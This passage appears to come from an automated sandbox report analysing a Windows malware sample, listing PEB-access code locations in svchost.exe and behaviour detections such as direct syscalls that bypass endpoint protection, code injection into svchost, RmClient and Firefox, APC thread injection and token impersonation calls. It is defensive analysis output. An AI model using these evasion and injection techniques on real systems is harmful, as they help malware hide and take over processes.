            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838BF0 mov eax, dword ptr fs:[00000030h]1_2_03838BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EBFC mov eax, dword ptr fs:[00000030h]1_2_0385EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BCBF0 mov eax, dword ptr fs:[00000030h]1_2_038BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904B00 mov eax, dword ptr fs:[00000030h]1_2_03904B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AEB1D mov eax, dword ptr fs:[00000030h]1_2_038AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]1_2_0385EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EB20 mov eax, dword ptr fs:[00000030h]1_2_0385EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]1_2_038F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F8B28 mov eax, dword ptr fs:[00000030h]1_2_038F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]1_2_038E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E4B4B mov eax, dword ptr fs:[00000030h]1_2_038E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03902B57 mov eax, dword ptr fs:[00000030h]1_2_03902B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]1_2_038C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C6B40 mov eax, dword ptr fs:[00000030h]1_2_038C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FAB40 mov eax, dword ptr fs:[00000030h]1_2_038FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D8B42 mov eax, dword ptr fs:[00000030h]1_2_038D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828B50 mov eax, dword ptr fs:[00000030h]1_2_03828B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEB50 mov eax, dword ptr fs:[00000030h]1_2_038DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382CB7E mov eax, dword ptr fs:[00000030h]1_2_0382CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383EA80 mov eax, dword ptr fs:[00000030h]1_2_0383EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904A80 mov eax, dword ptr fs:[00000030h]1_2_03904A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03868A90 mov edx, dword ptr fs:[00000030h]1_2_03868A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]1_2_03838AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03838AA0 mov eax, dword ptr fs:[00000030h]1_2_03838AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886AA4 mov eax, dword ptr fs:[00000030h]1_2_03886AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03886ACC mov eax, dword ptr fs:[00000030h]1_2_03886ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830AD0 mov eax, dword ptr fs:[00000030h]1_2_03830AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]1_2_03864AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03864AD0 mov eax, dword ptr fs:[00000030h]1_2_03864AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]1_2_0386AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386AAEE mov eax, dword ptr fs:[00000030h]1_2_0386AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BCA11 mov eax, dword ptr fs:[00000030h]1_2_038BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA24 mov eax, dword ptr fs:[00000030h]1_2_0386CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EA2E mov eax, dword ptr fs:[00000030h]1_2_0385EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]1_2_03854A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03854A35 mov eax, dword ptr fs:[00000030h]1_2_03854A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03836A50 mov eax, dword ptr fs:[00000030h]1_2_03836A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]1_2_03840A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03840A5B mov eax, dword ptr fs:[00000030h]1_2_03840A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386CA6F mov eax, dword ptr fs:[00000030h]1_2_0386CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038DEA60 mov eax, dword ptr fs:[00000030h]1_2_038DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]1_2_038ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038ACA72 mov eax, dword ptr fs:[00000030h]1_2_038ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038429A0 mov eax, dword ptr fs:[00000030h]1_2_038429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]1_2_038309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038309AD mov eax, dword ptr fs:[00000030h]1_2_038309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov esi, dword ptr fs:[00000030h]1_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]1_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B89B3 mov eax, dword ptr fs:[00000030h]1_2_038B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C69C0 mov eax, dword ptr fs:[00000030h]1_2_038C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383A9D0 mov eax, dword ptr fs:[00000030h]1_2_0383A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038649D0 mov eax, dword ptr fs:[00000030h]1_2_038649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA9D3 mov eax, dword ptr fs:[00000030h]1_2_038FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BE9E0 mov eax, dword ptr fs:[00000030h]1_2_038BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]1_2_038629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038629F9 mov eax, dword ptr fs:[00000030h]1_2_038629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]1_2_038AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038AE908 mov eax, dword ptr fs:[00000030h]1_2_038AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC912 mov eax, dword ptr fs:[00000030h]1_2_038BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]1_2_03828918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03828918 mov eax, dword ptr fs:[00000030h]1_2_03828918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B892A mov eax, dword ptr fs:[00000030h]1_2_038B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038C892B mov eax, dword ptr fs:[00000030h]1_2_038C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038B0946 mov eax, dword ptr fs:[00000030h]1_2_038B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03904940 mov eax, dword ptr fs:[00000030h]1_2_03904940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03856962 mov eax, dword ptr fs:[00000030h]1_2_03856962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]1_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov edx, dword ptr fs:[00000030h]1_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0387096E mov eax, dword ptr fs:[00000030h]1_2_0387096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]1_2_038D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038D4978 mov eax, dword ptr fs:[00000030h]1_2_038D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC97C mov eax, dword ptr fs:[00000030h]1_2_038BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03830887 mov eax, dword ptr fs:[00000030h]1_2_03830887
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC89D mov eax, dword ptr fs:[00000030h]1_2_038BC89D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385E8C0 mov eax, dword ptr fs:[00000030h]1_2_0385E8C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_039008C0 mov eax, dword ptr fs:[00000030h]1_2_039008C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038FA8E4 mov eax, dword ptr fs:[00000030h]1_2_038FA8E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]1_2_0386C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386C8F9 mov eax, dword ptr fs:[00000030h]1_2_0386C8F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038BC810 mov eax, dword ptr fs:[00000030h]1_2_038BC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov eax, dword ptr fs:[00000030h]1_2_03852835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03852835 mov ecx, dword ptr fs:[00000030h]1_2_03852835
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00910AA6 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,0_2_00910AA6
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008E25B2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_008E25B2
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D07BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_008D07BF
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D0955 SetUnhandledExceptionFilter,0_2_008D0955
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008D0BA1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_008D0BA1

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtWriteVirtualMemory: Direct from: 0x76F0490CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtClose: Direct from: 0x76F02B6C
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtReadVirtualMemory: Direct from: 0x76F02E8CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtCreateKey: Direct from: 0x76F02C6CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtSetInformationThread: Direct from: 0x76F02B4CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQueryAttributesFile: Direct from: 0x76F02E6CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtAllocateVirtualMemory: Direct from: 0x76F048ECJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQuerySystemInformation: Direct from: 0x76F048CCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtOpenSection: Direct from: 0x76F02E0CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtSetInformationThread: Direct from: 0x76EF63F9Jump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtDeviceIoControlFile: Direct from: 0x76F02AECJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtAllocateVirtualMemory: Direct from: 0x76F02BECJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtCreateFile: Direct from: 0x76F02FECJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtOpenFile: Direct from: 0x76F02DCCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQueryInformationToken: Direct from: 0x76F02CACJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtTerminateThread: Direct from: 0x76F02FCCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtProtectVirtualMemory: Direct from: 0x76EF7B2EJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtOpenKeyEx: Direct from: 0x76F02B9CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtProtectVirtualMemory: Direct from: 0x76F02F9CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtSetInformationProcess: Direct from: 0x76F02C5CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtNotifyChangeKey: Direct from: 0x76F03C2CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtCreateMutant: Direct from: 0x76F035CCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtWriteVirtualMemory: Direct from: 0x76F02E3CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtMapViewOfSection: Direct from: 0x76F02D1CJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtResumeThread: Direct from: 0x76F036ACJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtReadFile: Direct from: 0x76F02ADCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQuerySystemInformation: Direct from: 0x76F02DFCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtDelayExecution: Direct from: 0x76F02DDCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtQueryInformationProcess: Direct from: 0x76F02C26Jump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtResumeThread: Direct from: 0x76F02FBCJump to behavior
            Source: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeNtCreateUserProcess: Direct from: 0x76F0371CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\RmClient.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: NULL target: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: NULL target: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\RmClient.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\RmClient.exeThread register set: target process: 5304Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\RmClient.exeThread APC queued: target process: C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2E9D008Jump to behavior
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00911145 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,74785590,CreateProcessAsUserW,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,0_2_00911145
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B445D GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_008B445D
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CEFAD GetForegroundWindow,FindWindowW,IsIconic,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,ShowWindow,0_2_008CEFAD
